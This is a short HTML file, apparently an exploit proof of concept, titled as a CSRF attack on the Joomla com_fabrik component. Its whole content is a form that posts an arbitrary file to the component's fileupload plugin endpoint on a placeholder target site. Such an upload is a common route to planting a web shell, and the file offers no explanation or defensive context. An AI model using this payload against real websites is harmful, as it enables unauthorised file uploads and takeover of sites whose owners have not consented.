csrf com_fabrik.html

<form method="POST" action="http://SITETARGET.COM/index.php?option=com_fabrik&format=raw&task=plugin.pluginAjax&plugin=fileupload&method=ajax_upload" enctype="multipart/form-data">
	<input type="file" name="file" />
	<button>
		Upload
	</button>
</form>